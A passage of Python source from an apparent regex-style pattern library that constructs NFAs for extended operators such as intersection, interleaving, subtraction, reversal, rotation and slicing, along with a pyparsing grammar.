return "." elif len(chars) == 1: if negated or chars in Pattern.literal_exclude: return f"[{'^'*negated}{chars}]" return chars # find runs of length 4+ ordered = sorted(set(chars)) runs, i = [], 0 ords = [ord(c) - i for i, c in enumerate(ordered)] for _, g in groupby(ords): n = len([*g]) runs += ordered[i : i + n] if n < 4 else [ordered[i] + "-" + ordered[i + n - 1]] i += n # order things to minimise likelihood of having to escape anything def sort_key(r): if "]" in r: return 0 if "-" in r[::2]: return 1 if r[0] == "-" and "]" not in ordered else 4 if "^" in r: return 3 else: return 2 runs.sort(key=lambda s: sort_key(s)) # TODO: escape -^\] when needed once we can parse that return f"[{'^'*negated}{''.join(runs)}]" # pylint: disable=unbalanced-tuple-unpacking def new_states(*names: str) -> List[Callable[..., State]]: """Return functions for generating new state names using the given labels. Note that names are sorted alphabetically when generating FSM descriptions.""" generators = [] for name in names: generators.append((lambda name: (lambda *args: (name, *args) if args else name))(name)) return generators # NFA constructors def merge_trans(*args): """Merge multiple transitions, unioning target states.""" return merge_with(lambda x: set.union(*x), *args) def MatchEmpty() -> NFA: """Empty match""" return NFA("1", "2", {("1", Move.EMPTY): {"2"}}) def MatchIn(characters: str) -> NFA: """Handles: a, [abc]""" return NFA("1", "2", {("1", c): {"2"} for c in characters}) def MatchNotIn(characters: str) -> NFA: """Handles: [^abc], .""" return NFA("1", "2", merge_trans({("1", Move.ALL): {"2"}}, {("1", c): set() for c in characters})) def MatchWords(words: Iterable[str]) -> NFA: # generate a prefix tree start, end = ("0",), ("1",) transitions: Transitions = {} for word in words: for i in range(len(word)): transitions.setdefault((word[:i] or start, word[i]), set()).add(word[: i + 1]) transitions[(word, Move.EMPTY)] = {end} return NFA(start, end, transitions) def MatchDictionary(path: Path) -> NFA: r"""Handles: \w""" with open(str(path), "r", encoding="utf-8") as f: return MatchWords(w.rstrip("\n") for w in f) def ExplicitFSM(path: Path) -> NFA: r"""Handles: \f""" transitions: Transitions = {} with open(str(path), "r", encoding="utf-8") as f: for line in f: args = line.split() if args: x: Input start, x, *end = args if start == "END": raise ValueError("END state should have no outbound arrows") elif "START" in end: raise ValueError("START state should have no inbound arrows") elif x == "SPACE": x = " " if re.match(r"^\[\^.+]$", x): transitions.setdefault((start, Move.ALL), set()).update(end) for x in srange(x): transitions.setdefault((start, x), set()) elif re.match(r"^\[.+]$", x): for x in srange(x): transitions.setdefault((start, x), set()).update(end) elif x in {"EMPTY", "ALL"}: x = {"EMPTY": Move.EMPTY, "ALL": Move.ALL}[x] transitions.setdefault((start, x), set()).update(end) elif len(x) > 1: raise ValueError(f"Unexpected FSM input `{x}`: should be character, class, ALL or EMPTY") else: transitions.setdefault((start, x), set()).update(end) return NFA("START", "END", transitions) def MatchCapture(nfa: NFA, id: CaptureGroup) -> NFA: """Handles: (?<id>A)""" captures = {(s, i): {id} for (s, i) in nfa.transitions if i != Move.EMPTY} return NFA(nfa.start, nfa.end, nfa.transitions, merge_trans(nfa.captures, captures)) def MatchAfter(nfa1: NFA, nfa2: NFA) -> NFA: """Handles: AB""" First, Second = new_states("a", "b") t1 = {(First(s), i): {First(t) for t in ts} for (s, i), ts in nfa1.transitions.items()} c1 = {(First(s), i): cs for (s, i), cs in nfa1.captures.items()} t2 = { (First(nfa1.end) if s == nfa2.start else Second(s), i): {First(nfa1.end) if t == nfa2.start else Second(t) for t in ts} for (s, i), ts in nfa2.transitions.items() } c2 = {(First(nfa1.end) if s == nfa2.start else Second(s), i): cs for (s, i), cs in nfa2.captures.items()} return NFA(First(nfa1.start), Second(nfa2.end), merge_trans(t1, t2), merge_trans(c1, c2)) def MatchEither(*nfas: NFA) -> NFA: """Handles: A|B (and arbitrary alternation too)""" Start, End, *Option = new_states("a", "z", *[str(n) for n in range(1, len(nfas) + 1)]) tis, cis = [], [] for n, nfa in enumerate(nfas): tis.append({(Option[n](s), i): {Option[n](t) for t in ts} for (s, i), ts in nfa.transitions.items()}) cis.append({(Option[n](s), i): cs for (s, i), cs in nfa.captures.items()}) tstart = {(Start(), Move.EMPTY): {Option[n](nfa.start) for n, nfa in enumerate(nfas)}} tend = {(Option[n](nfa.end), Move.EMPTY): {End()} for n, nfa in enumerate(nfas)} return NFA(Start(), End(), merge_trans(tstart, tend, *tis), merge_trans(*cis)) def MatchRepeated(nfa: NFA, repeat: bool = False, optional: bool = False) -> NFA: """Handles: A*, A+, A?""" Start, End, Star = new_states("a", "z", "*") transitions: Transitions = {(Star(s), i): {Star(t) for t in ts} for (s, i), ts in nfa.transitions.items()} captures: Captures = {(Star(s), i): cs for (s, i), cs in nfa.captures.items()} transitions[(Start(), Move.EMPTY)] = {Star(nfa.start)} if optional: transitions[(Start(), Move.EMPTY)].add(End()) transitions[(Star(nfa.end), Move.EMPTY)] = {End()} if repeat: transitions[(Star(nfa.end), Move.EMPTY)].add(Star(nfa.start)) return NFA(Start(), End(), transitions, captures) def MatchRepeatedN(nfa: NFA, minimum: int, maximum: int) -> NFA: """Handles: A{2,5}""" if minimum == maximum == 0: return MatchEmpty() elif minimum == maximum == 1: return nfa elif minimum > 0: return MatchAfter(nfa, MatchRepeatedN(nfa, minimum - 1, maximum - 1)) elif maximum == 1: return MatchRepeated(nfa, optional=True) else: return MatchRepeated(MatchAfter(nfa, MatchRepeatedN(nfa, 0, maximum - 1)), optional=True) def MatchRepeatedNplus(nfa: NFA, minimum: int) -> NFA: """Handles: A{2,}""" if minimum == 0: return MatchRepeated(nfa, repeat=True, optional=True) elif minimum == 1: return MatchRepeated(nfa, repeat=True) else: return MatchAfter(nfa, MatchRepeatedNplus(nfa, minimum - 1)) def MatchLength(minimum: int = 0, maximum: Optional[int] = None) -> NFA: if maximum is None: return MatchRepeatedNplus(MatchNotIn(""), minimum) else: return MatchRepeatedN(MatchNotIn(""), minimum, maximum) def MatchDFA(nfa: NFA, negate: bool) -> NFA: """Handles: (?D:A), ¬A""" if nfa.captures and not negate: raise NotImplementedError("Cannot convert NFA with submatch captures to a DFA") # convert to DFA via powerset construction (and optionally invert accepted/rejected states) start_state = tuple(sorted(nfa.expand_epsilons({nfa.start}), key=str)) to_process = [start_state] processed_states = set() accepting_states = set() transitions: Transitions = {} while to_process: current_state = to_process.pop() processed_states.add(current_state) if any(s == nfa.end for s in current_state): accepting_states.add(current_state) moves = {i for (s, i) in nfa.transitions if s in current_state and i != Move.EMPTY} for i in moves: next_state = {t for s in current_state for t in nfa.transitions.get((s, i), nfa.transitions.get((s, Move.ALL), set()))} next_state_sorted = tuple(sorted(nfa.expand_epsilons(next_state), key=str)) transitions[(current_state, i)] = {next_state_sorted} if next_state_sorted not in processed_states: to_process.append(next_state_sorted) # transition accepting/non-accepting states to a single final state for final_state in (processed_states - accepting_states) if negate else accepting_states: transitions.setdefault((final_state, Move.EMPTY), set()).add("2") # if negating, transition non-moves to a new accepting, consuming state if negate: for state in processed_states: if (state, Move.ALL) not in transitions: transitions[(state, Move.ALL)] = {"1"} transitions.setdefault(("1", Move.ALL), {"1"}) transitions.setdefault(("1", Move.EMPTY), {"2"}) nfa = NFA(start_state, "2", transitions) nfa.remove_redundant_states(aggressive=True) return nfa def MatchBoth(nfa1: NFA, nfa2: NFA, start_from: Optional[Set[State]] = None, stop_at: Optional[Set[State]] = None) -> NFA: """Handles: A&B""" # generate transitions on cartesian product (with special handling for *-transitions) # warning: some of the other methods currently depend on the implementation of this (which is naughty) transitions: Transitions = {} captures: Captures = {} for (s1, i), ts1 in nfa1.transitions.items(): for s2 in nfa2.states: if i == Move.EMPTY: transitions = merge_trans(transitions, {((s1, s2), i): set(product(ts1, {s2}))}) else: ts2 = nfa2.transitions.get((s2, i), nfa2.transitions.get((s2, Move.ALL))) if ts2 is not None: transitions = merge_trans(transitions, {((s1, s2), i): set(product(ts1, ts2))}) cs2 = nfa1.captures.get((s1, i), set()) | nfa2.captures.get((s2, i), nfa2.captures.get((s2, Move.ALL), set())) if cs2: captures = merge_trans(captures, {((s1, s2), i): cs2}) for (s2, i), ts2 in nfa2.transitions.items(): for s1 in nfa1.states: if i == Move.EMPTY: transitions = merge_trans(transitions, {((s1, s2), i): set(product({s1}, ts2))}) elif (s1, i) not in nfa1.transitions: # (as we've done those already!) ts1o = nfa1.transitions.get((s1, Move.ALL)) if ts1o is not None: transitions = merge_trans(transitions, {((s1, s2), i): set(product(ts1o, ts2))}) cs1o = nfa2.captures.get((s2, i), set()) | nfa1.captures.get((s1, Move.ALL), set()) if cs1o: captures = merge_trans(captures, {((s1, s2), i): cs1o}) if start_from: transitions[("1", Move.EMPTY)] = start_from if stop_at: transitions = merge_trans(transitions, {(s, Move.EMPTY): {"2"} for s in stop_at}) nfa = NFA("1" if start_from else (nfa1.start, nfa2.start), "2" if stop_at else (nfa1.end, nfa2.end), transitions, captures) nfa.remove_redundant_states() return nfa def MatchContains(nfa1: NFA, nfa2: NFA, proper: bool) -> NFA: """Handles: A<B, A<<B, A>B, A>>B""" # transition from (2) A to (3) AxB to (5) A states # for proper containment, also use (1) A and (4) A states LeftFirst, Left, Middle, RightFirst, Right = new_states("<l1", "<l2", "<m", "<r1", "<r2") t1, t1e, c1, t4, t4e, c4 = {}, {}, {}, {}, {}, {} if proper: t1 = {(LeftFirst(s), i): {LeftFirst(t) for t in ts} for (s, i), ts in nfa1.transitions.items() if i == Move.EMPTY} t1e = {(LeftFirst(s), i): {Left(t) for t in ts} for (s, i), ts in nfa1.transitions.items() if i != Move.EMPTY} c1 = {(LeftFirst(s), i): cs for (s, i), cs in nfa1.captures.items()} t2 = {(Left(s), i): {Left(t) for t in ts} for (s, i), ts in nfa1.transitions.items()} c2 = {(Left(s), i): cs for (s, i), cs in nfa1.captures.items()} t2e = {(Left(s), Move.EMPTY): {Middle(s, nfa2.start)} for s in nfa1.states} t3 = {(Middle(s, q), i): {Middle(s, t) for t in ts} for (q, i), ts in nfa2.transitions.items() for s in nfa1.states} c3 = {(Middle(s, q), i): cs for (q, i), cs in nfa2.captures.items() for s in nfa1.states} t3e = {(Middle(s, nfa2.end), Move.EMPTY): {(RightFirst(s) if proper else Right(s))} for s in nfa1.states} if proper: t4 = {(RightFirst(s), i): {RightFirst(t) for t in ts} for (s, i), ts in nfa1.transitions.items() if i == Move.EMPTY} t4e = {(RightFirst(s), i): {Right(t) for t in ts} for (s, i), ts in nfa1.transitions.items() if i != Move.EMPTY} c4 = {(RightFirst(s), i): cs for (s, i), cs in nfa1.captures.items()} t5 = {(Right(s), i): {Right(t) for t in ts} for (s, i), ts in nfa1.transitions.items()} c5 = {(Right(s), i): cs for (s, i), cs in nfa1.captures.items()} transitions = merge_trans(t1, t1e, t2, t2e, t3, t3e, t4, t4e, t5) captures = merge_trans(c1, c2, c3, c4, c5) nfa = NFA(LeftFirst(nfa1.start) if proper else Left(nfa1.start), Right(nfa1.end), transitions, captures) nfa.remove_redundant_states() return nfa def MatchInterleaved(nfa1: NFA, nfa2: NFA, proper: bool) -> NFA: """Handles: A^B, A^^B""" # transition between (2) AxB and (3) AxB states # for proper interleaving, also use (1) A and (4) A states First, Left, Right, Last = new_states("^a", "^l", "^r", "^z") t1, t1e, c1, t4, t4e, c4 = {}, {}, {}, {}, {}, {} if proper: t1 = {(First(s), i): {First(t) for t in ts} for (s, i), ts in nfa1.transitions.items() if i == Move.EMPTY} t1e = {(First(s), i): {Left(t, nfa2.start) for t in ts} for (s, i), ts in nfa1.transitions.items() if i != Move.EMPTY} c1 = {(First(s), i): cs for (s, i), cs in nfa1.captures.items()} t2 = {(Left(s, q), i): {Left(t, q) for t in ts} for (s, i), ts in nfa1.transitions.items() for q in nfa2.states} c2 = {(Left(s, q), i): cs for (s, i), cs in nfa1.captures.items() for q in nfa2.states} t2e = {(Left(q, s), Move.EMPTY): {Right(q, s)} for q in nfa1.states for s in nfa2.states} t3 = {(Right(q, s), i): {Right(q, t) for t in ts} for (s, i), ts in nfa2.transitions.items() for q in nfa1.states} c3 = {(Right(q, s), i): cs for (s, i), cs in nfa2.captures.items() for q in nfa1.states} t3e = {(Right(q, s), Move.EMPTY): {Left(q, s)} for q in nfa1.states for s in nfa2.states} if proper: t4 = {(Left(s, nfa2.end), i): {Last(t) for t in ts} for (s, i), ts in nfa1.transitions.items() if i != Move.EMPTY} c4 = {(Left(s, nfa2.end), i): cs for (s, i), cs in nfa1.captures.items()} t4e = {(Last(s), i): {Last(t) for t in ts} for (s, i), ts in nfa1.transitions.items() if i == Move.EMPTY} transitions = merge_trans(t1, t1e, t2, t2e, t3, t3e, t4, t4e) captures = merge_trans(c1, c2, c3, c4) nfa = NFA(First(nfa1.start) if proper else Left(nfa1.start, nfa2.start), Last(nfa1.end) if proper else Right(nfa1.end, nfa2.end), transitions, captures) nfa.remove_redundant_states() return nfa def MatchAlternating(nfa1: NFA, nfa2: NFA, ordered: bool) -> NFA: """Handles: A#B, A##B""" # transition between (1) AxB and (2) AxB states # for order agnostic alternation, also use an additional (0) start state Start, Left, Right = new_states("#a", "#l", "#r") t0 = {(Start(), Move.EMPTY): {Left(nfa1.start, nfa2.start), Right(nfa1.start, nfa2.start)}} if not ordered else {} t1 = {(Left(s, q), i): {(Left if i == Move.EMPTY else Right)(t, q) for t in ts} for (s, i), ts in nfa1.transitions.items() for q in nfa2.states} c1 = {(Left(s, q), i): cs for (s, i), cs in nfa1.captures.items() for q in nfa2.states} t2 = {(Right(q, s), i): {(Right if i == Move.EMPTY else Left)(q, t) for t in ts} for (s, i), ts in nfa2.transitions.items() for q in nfa1.states} c2 = {(Right(q, s), i): cs for (s, i), cs in nfa2.captures.items() for q in nfa1.states} # handle final transitions t1e = {(Left(nfa1.end, s), Move.EMPTY): {Left(nfa1.end, t) for t in ts} for (s, i), ts in nfa2.transitions.items() if i == Move.EMPTY} t2e = {(Right(s, nfa2.end), Move.EMPTY): {Right(t, nfa2.end) for t in ts} for (s, i), ts in nfa1.transitions.items() if i == Move.EMPTY} t21 = {(Right(nfa1.end, nfa2.end), Move.EMPTY): {Left(nfa1.end, nfa2.end)}} transitions = merge_trans(t0, t1, t1e, t2, t2e, t21) captures = merge_trans(c1, c2) nfa = NFA(Start() if not ordered else Left(nfa1.start, nfa2.start), Left(nfa1.end, nfa2.end), transitions, captures) nfa.remove_redundant_states() return nfa def MatchSubtract(nfa1: NFA, nfa2: NFA, from_right: bool, negate: bool) -> NFA: """Handles: A-B, A_-B (and used in slicing)""" # rewire end/start state of nfa1 based on partial intersection with nfa2 Start, Middle, End = new_states("-a", "-m", "-e") if from_right: both = MatchBoth(nfa1, nfa2, start_from={(a, nfa2.start) for a in nfa1.states}) else: both = MatchBoth(nfa1, nfa2, stop_at={(a, nfa2.end) for a in nfa1.states}) if negate: return both transitions: Transitions = {(Middle(s), i): {Middle(t) for t in ts} for (s, i), ts in nfa1.transitions.items()} captures: Captures = {(Middle(s), i): cs for (s, i), cs in nfa1.captures.items()} if from_right: midpoints = {a for a, _ in both.transitions.get((both.start, Move.EMPTY), set())} transitions = merge_trans(transitions, {(Middle(s), Move.EMPTY): {End()} for s in midpoints}) nfa = NFA(Middle(nfa1.start), End(), transitions, captures) else: midpoints = {a for ((a, b), i), cs in both.transitions.items() if i == Move.EMPTY and both.end in cs} transitions[(Start(), Move.EMPTY)] = {Middle(s) for s in midpoints} nfa = NFA(Start(), Middle(nfa1.end), transitions, captures) nfa.remove_redundant_states() return nfa def MatchSubtractInside(nfa1: NFA, nfa2: NFA, proper: bool, replace: Optional[NFA] = None) -> NFA: """Handles: A->B, A->>B""" # like MatchContains, but link (2) and (4)/(5) using partial intersection LeftFirst, Left, Replace, RightFirst, Right = new_states("->l1", "->l2", "->m", "->r1", "->r2") t1, t1e, c1, t3, c3, t3e, t4, t4e, c4 = {}, {}, {}, {}, {}, {}, {}, {}, {} if proper: t1 = {(LeftFirst(s), i): {LeftFirst(t) for t in ts} for (s, i), ts in nfa1.transitions.items() if i == Move.EMPTY} t1e = {(LeftFirst(s), i): {Left(t) for t in ts} for (s, i), ts in nfa1.transitions.items() if i != Move.EMPTY} c1 = {(LeftFirst(s), i): cs for (s, i), cs in nfa1.captures.items()} t2 = {(Left(s), i): {Left(t) for t in ts} for (s, i), ts in nfa1.transitions.items()} c2 = {(Left(s), i): cs for (s, i), cs in nfa1.captures.items()} t2es = [] if replace: t3 = {(Replace(s, q), i): {Replace(s, t) for t in ts} for (q, i), ts in replace.transitions.items() for s in nfa1.states} c3 = {(Replace(s, q), i): cs for (q, i), cs in replace.captures.items() for s in nfa1.states} t3e = {(Replace(s, replace.end), Move.EMPTY): {(RightFirst(s) if proper else Right(s))} for s in nfa1.states} for s in nfa1.states: both = MatchBoth(nfa1, nfa2, start_from={(s, nfa2.start)}, stop_at={(a, nfa2.end) for a in nfa1.states}) new_end = {a for a, _ in both.transitions.get((both.start, Move.EMPTY), set())} new_start = {a[0] for (a, i), cs in both.transitions.items() if i == Move.EMPTY and both.end in cs} t2es.append( {(Left(e), Move.EMPTY): {(Replace(s, replace.start) if replace else RightFirst(s) if proper else Right(s)) for s in new_start} for e in new_end} ) if proper: t4 = {(RightFirst(s), i): {RightFirst(t) for t in ts} for (s, i), ts in nfa1.transitions.items() if i == Move.EMPTY} t4e = {(RightFirst(s), i): {Right(t) for t in ts} for (s, i), ts in nfa1.transitions.items() if i != Move.EMPTY} c4 = {(RightFirst(s), i): cs for (s, i), cs in nfa1.captures.items()} t5 = {(Right(s), i): {Right(t) for t in ts} for (s, i), ts in nfa1.transitions.items()} c5 = {(Right(s), i): cs for (s, i), cs in nfa1.captures.items()} transitions = merge_trans(t1, t1e, t2, *t2es, t3, t3e, t4, t4e, t5) captures = merge_trans(c1, c2, c3, c4, c5) nfa = NFA(LeftFirst(nfa1.start) if proper else Left(nfa1.start), Right(nfa1.end), transitions, captures) nfa.remove_redundant_states() return nfa def MatchSubtractOutside(nfa1: NFA, nfa2: NFA, proper: bool) -> NFA: """Handles: A-<B, A-<<B""" # Use partial intersections to generate collections of alternatives. both_start = MatchBoth(nfa1, nfa2, stop_at={(a, b) for a in nfa1.states for b in nfa2.states}) both_end = MatchBoth(nfa1, nfa2, start_from={(a, b) for a in nfa1.states for b in nfa2.states}) both_start_end = {s for (s, i), cs in both_start.transitions.items() if i == Move.EMPTY and both_start.end in cs} both_end_start = both_end.transitions.get((both_end.start, Move.EMPTY), set()) if proper: # ensure partial intersections are (potentially) non-empty both_start_proper = MatchBoth(both_start, MatchLength(1)) both_start_end = { s[0] for (s, i), cs in both_start_proper.transitions.items() if i == Move.EMPTY and both_start_proper.end in cs and s[0] != both_start.end } both_end_proper = MatchBoth(both_end, MatchLength(1)) both_end_start = {s[0] for s in both_end_proper.transitions.get((both_end_proper.start, Move.EMPTY), set()) if s[0] != both_end.start} nfas: List[NFA] = [] midpoints = {b for a, b in both_start_end if any(b == b2 for a2, b2 in both_end_start)} for m in midpoints: Start, Middle, End = new_states("-<a", "-<m", "-<z") transitions: Transitions = {(Middle(s), i): {Middle(t) for t in ts} for (s, i), ts in nfa1.transitions.items()} captures: Captures = {(Middle(s), i): cs for (s, i), cs in nfa1.captures.items()} transitions[Start(), Move.EMPTY] = {Middle(a) for a, b in both_start_end if b == m} for a in {a for a, b in both_end_start if b == m}: transitions.setdefault((Middle(a), Move.EMPTY), set()).add(End()) nfa = NFA(Start(), End(), transitions, captures) nfa.remove_redundant_states() nfas.append(nfa) return MatchEither(*nfas) def MatchSubtractAlternating(nfa1: NFA, nfa2: NFA, ordered: bool, from_right: bool = True) -> NFA: """Handles: A-#B, A_-#B, A-##B""" # Expand transitions in A with one from A&B (tracking both A and B states) both = MatchBoth(nfa1, nfa2, stop_at={(a, b) for a in nfa1.states for b in nfa2.states}, start_from={(a, b) for a in nfa1.states for b in nfa2.states}) transitions: Transitions = {} captures: Captures = {} for (s, i), ts in nfa1.transitions.items(): for b in nfa2.states: if i == Move.EMPTY: states = {(t, b) for t in ts} else: ts = nfa1.expand_epsilons(ts) states = {u for (r, i), us in both.transitions.items() for t in ts if r == (t, b) and i != Move.EMPTY for u in us} transitions[((s, b), i)] = states if (s, i) in nfa1.captures: captures[((s, b), i)] = nfa1.captures[(s, i)] if b == nfa2.end and nfa1.end in ts: transitions.setdefault(((s, b), i), set()).add((nfa1.end, nfa2.end)) for (b, i), cs in nfa2.transitions.items(): for s in nfa1.states: if i == Move.EMPTY: transitions[((s, b), i)] = {(s, c) for c in cs} start_state = set() if not ordered or not from_right: ts = {(nfa1.start, nfa2.start)} ts = both.expand_epsilons(ts) start_state |= {u for (s, i), us in both.transitions.items() if s in ts and i != Move.EMPTY for u in us} if not ordered or from_right: start_state |= {(nfa1.start, nfa2.start)} if len(start_state) == 1: nfa = NFA(first(start_state), (nfa1.end, nfa2.end), transitions, captures) else: transitions[("a", Move.EMPTY)] = start_state nfa = NFA("a", (nfa1.end, nfa2.end), transitions, captures) nfa.remove_redundant_states() return nfa def MatchSubtractInterleaved(nfa1: NFA, nfa2: NFA, proper: bool, from_right: bool = True) -> NFA: """Handles: A-^B, A-^^B, A_-^^B""" # Combine transitions from A with empty transitions from A&B (tracking both A and B states) both = MatchBoth(nfa1, nfa2, stop_at={(a, b) for a in nfa1.states for b in nfa2.states}, start_from={(a, b) for a in nfa1.states for b in nfa2.states}) transitions: Transitions = {} captures: Captures = {} for (a, i), ts in nfa1.transitions.items(): for b in nfa2.states: transitions[(a, b), i] = {(t, b) for t in ts} if (a, i) in nfa1.captures: captures[(a, b), i] = nfa1.captures[(a, i)] for (ab, i), tus in both.transitions.items(): if ab != both.start: transitions.setdefault((ab, Move.EMPTY), set()).update(tus - {both.end}) if not proper: transitions[((nfa1.end, nfa2.end), Move.EMPTY)] = {"z"} nfa = NFA((nfa1.start, nfa2.start), "z", transitions, captures) elif from_right: First, Middle, Last = new_states("-^a", "-^m", "-^z") t1 = {(First(s), i): {First(t) for t in ts} for (s, i), ts in nfa1.transitions.items() if i == Move.EMPTY} t1e = {(First(s), i): {Middle((t, nfa2.start)) for t in ts} for (s, i), ts in nfa1.transitions.items() if i != Move.EMPTY} c1 = {(First(s), i): cs for (s, i), cs in nfa1.captures.items()} t2 = {(Middle(s), i): {Middle(t) for t in ts} for (s, i), ts in transitions.items()} c2 = {(Middle(s), i): cs for (s, i), cs in captures.items()} t2e = {(Middle((s, nfa2.end)), i): {Last(t) for t in ts} for (s, i), ts in nfa1.transitions.items() if i != Move.EMPTY} t3 = {(Last(s), i): {Last(t) for t in ts} for (s, i), ts in nfa1.transitions.items()} c3 = {(Last(s), i): cs for (s, i), cs in nfa1.captures.items()} transitions = merge_trans(t1, t1e, t2, t2e, t3) captures = merge_trans(c1, c2, c3) nfa = NFA(First(nfa1.start), Last(nfa1.end), transitions, captures) else: ts = both.expand_epsilons({(nfa1.start, nfa2.start)}) start_states = {u for (s, i), us in both.transitions.items() if s in ts and i != Move.EMPTY for u in us} ts = set() for t in both.states: if (nfa1.end, nfa2.end) in both.expand_epsilons({t}): ts.add(t) end_states = {s for (s, i), us in both.transitions.items() if any(u in ts for u in us) and i != Move.EMPTY} transitions[("a", Move.EMPTY)] = start_states for s in end_states: transitions[(s, Move.EMPTY)] = {"z"} nfa = NFA("a", "z", transitions, captures) nfa.remove_redundant_states() return nfa def MatchReversed(nfa: NFA) -> NFA: """Handles: (?r:A)""" # just reverse the edges (with special handling for *-transitions) transitions: Transitions = {} captures: Captures = {} (Extra,) = new_states("r") for (s, i), ts in nfa.transitions.items(): for t in ts: if i == Move.ALL: if any(r != s and t in vs for (r, j), vs in nfa.transitions.items()): extra_state = Extra(s, t) transitions.setdefault((t, Move.EMPTY), set()).add(extra_state) t = extra_state for (r, j), _ in nfa.transitions.items(): if r == s and not isinstance(j, Move): transitions.setdefault((t, j), set()) transitions.setdefault((t, i), set()).add(s) if (s, i) in nfa.captures: captures.setdefault((t, i), set()).update(nfa.captures[(s, i)]) nfa = NFA(nfa.end, nfa.start, transitions, captures) nfa.remove_redundant_states() return nfa def MatchInsensitively(nfa: NFA) -> NFA: """Handles: (?i:A)""" transitions: Transitions = {} captures: Captures = {} for (s, i), ts in nfa.transitions.items(): if isinstance(i, str): transitions.setdefault((s, i.lower()), set()).update(ts) transitions.setdefault((s, i.upper()), set()).update(ts) if nfa.captures.get((s, i), set()): captures.setdefault((s, i.lower()), set()).update(nfa.captures.get((s, i), set())) captures.setdefault((s, i.upper()), set()).update(nfa.captures.get((s, i), set())) else: transitions[(s, i)] = ts return NFA(nfa.start, nfa.end, transitions, captures) def MatchShifted(nfa: NFA, shift: int) -> NFA: """Handles: (?sn:A)""" transitions: Transitions = {} captures: Captures = {} for (s, i), ts in nfa.transitions.items(): c = nfa.captures.get((s, i), None) for alphabet in (string.ascii_lowercase, string.ascii_uppercase): if isinstance(i, str) and i in alphabet: i = alphabet[(alphabet.index(i) + shift) % 26] break transitions[(s, i)] = ts if c is not None: captures[(s, i)] = c return NFA(nfa.start, nfa.end, transitions, captures) def MatchRotated(nfa: NFA, shift: int) -> NFA: """Handles (?Rn:A)""" # slice off start/end and for each possibility move it to the other side if shift == 0: return nfa rotations: List[NFA] = [] if shift < 0: window = MatchLength(-shift, -shift) intersection = MatchBoth(nfa, window, stop_at={(a, window.end) for a in nfa.states}) intersection_ends = {s[0] for (s, i), cs in intersection.transitions.items() if i == Move.EMPTY and intersection.end in cs and s[0] != nfa.end} for middle in intersection_ends: move = MatchBoth(nfa, window, stop_at={(middle, window.end)}) keep = NFA(middle, nfa.end, nfa.transitions, nfa.captures) rotated = MatchAfter(keep, move) rotated.remove_redundant_states() rotations.append(rotated) else: window = MatchLength(shift, shift) intersection = MatchBoth(nfa, window, start_from={(a, window.start) for a in nfa.states}) intersection_starts = {s[0] for s in intersection.transitions.get((intersection.start, Move.EMPTY), set()) if s[0] != nfa.start} for middle in intersection_starts: move = MatchBoth(nfa, window, start_from={(middle, window.start)}) keep = NFA(nfa.start, middle, nfa.transitions, nfa.captures) rotated = MatchAfter(move, keep) rotated.remove_redundant_states() rotations.append(rotated) rotation = MatchEither(*rotations) rotation.remove_redundant_states() return rotation def MatchSlice(nfa: NFA, start: Optional[int], end: Optional[int], step: int) -> NFA: """Handles: (?S:A)[3:5], (?S:A)[-1::-2]""" # reverse slice is equivalent to slice of reverse if step < 0: return MatchSlice(MatchReversed(nfa), None if end is None else end + 1, None if start is None else start + 1, -step) assert step != 0 # slice off start start = start or 0 if start > 0: nfa = MatchSubtract(nfa, MatchLength(start, start), from_right=False, negate=False) elif start < 0: nfa = MatchSubtract(nfa, MatchLength(-start, -start), from_right=True, negate=True) # slice off end if end is not None: if end >= 0: assert end >= start >= 0 nfa = MatchSubtract(nfa, MatchLength(end - start, end - start), from_right=False, negate=True) else: assert start >= 0 or end >= start nfa = MatchSubtract(nfa, MatchLength(-end, -end), from_right=True, negate=False) # expand transitions by step-count-minus-one if step > 1: def expand_steps(nfa: NFA, states: Set[State], n: int) -> Tuple[Set[State], bool]: hit_end = False for _ in range(n): states = nfa.expand_epsilons(states) hit_end |= nfa.end in states states = {t for s in states for (r, i), ts in nfa.transitions.items() if r == s and i != Move.EMPTY for t in ts} return states, hit_end transitions: Transitions = {} captures: Captures = {} for (s, i), ts in nfa.transitions.items(): if i == Move.EMPTY: transitions[(s, i)] = ts else: next_states, hit_end = expand_steps(nfa, ts, step - 1) transitions[(s, i)] = next_states if (s, i) in nfa.captures: captures[(s, i)] = nfa.captures[(s, i)] if hit_end: transitions[(s, i)].add(nfa.end) nfa = NFA(nfa.start, nfa.end, transitions, captures) nfa.remove_redundant_states() return nfa # Patterns def op_reduce(l): if len(l) == 1: return l[0] else: return op_reduce([l[1](l[0], l[2]), *l[3:]]) class Pattern: """Regex-style pattern supporting novel spatial operators and modifiers.""" def __init__(self, pattern: str): self.pattern = pattern self.nfa = self.expr.parseString(pattern, parseAll=True)[0] def __repr__(self): return f"Pattern({self.pattern!r})" def match(self, string: str) -> Optional[CaptureOutput]: return self.nfa.match(string) def example(self, min_length: int = 0, max_length: Optional[int] = None) -> str: return self.nfa.example(min_length, max_length) # parsing (should really go via an AST here) from pyparsing import Forward, Group, Literal, OneOrMore from pyparsing import Optional as Option from pyparsing import ParserElement, Word, alphanums, alphas, infixNotation, nums, oneOf, opAssoc ParserElement.setDefaultWhitespaceChars("") ParserElement.enablePackrat() # TODO: character escaping, supported scripts _0_to_99 = Word(nums, min=1, max=2).setParseAction(lambda t: int("".join(t[0]))) _m99_to_99 = (Option("-") + _0_to_99).setParseAction(lambda t: t[-1] * (-1 if len(t) == 2 else 1)) _id = Word(alphas + "_", alphanums + "_") printables = ppu.Latin1.printables + " " + EXTRA_PRINTABLES literal_exclude = r"()+*.?<>#{}^_&|$\[]-" set_exclude = r"\]" literal = Word(printables, excludeChars=literal_exclude, exact=1).setParseAction(lambda t: MatchIn(t[0])) dot = Literal(".").setParseAction(lambda t: MatchNotIn("")) nset = ("[^" + Word(printables, excludeChars=set_exclude, min=1) + "]").setParseAction(lambda t: MatchNotIn(srange(f"[{t[1]}]"))) set = ("[" + Word(printables, excludeChars=set_exclude, min=1) + "]").setParseAction(lambda t: MatchIn(srange(f"[{t[1]}]"))) words = Literal(r"\w").setParseAction(lambda t: DICTIONARY_FSM) fsm = Literal(r"\f").setParseAction(lambda t: EXPLICIT_FSM) expr = Forward() group = ( ("(" + expr + ")").setParseAction(lambda t: t[1]) | ("(?D:" + expr + ")").setParseAction(lambda t: MatchDFA(t[1], negate=False)) | ("(?M:" + expr + ")").setParseAction(lambda t: MatchDFA(MatchReversed(MatchDFA(MatchReversed(t[1]), negate=False)), negate=False)) | ("(?i:" + expr + ")").setParseAction(lambda t: MatchInsensitively(t[1])) | ("(?r:" + expr + ")").setParseAction(lambda t: MatchReversed(t[1])) | ("(?<" + _id + ">" + expr + ")").setParseAction(lambda t: 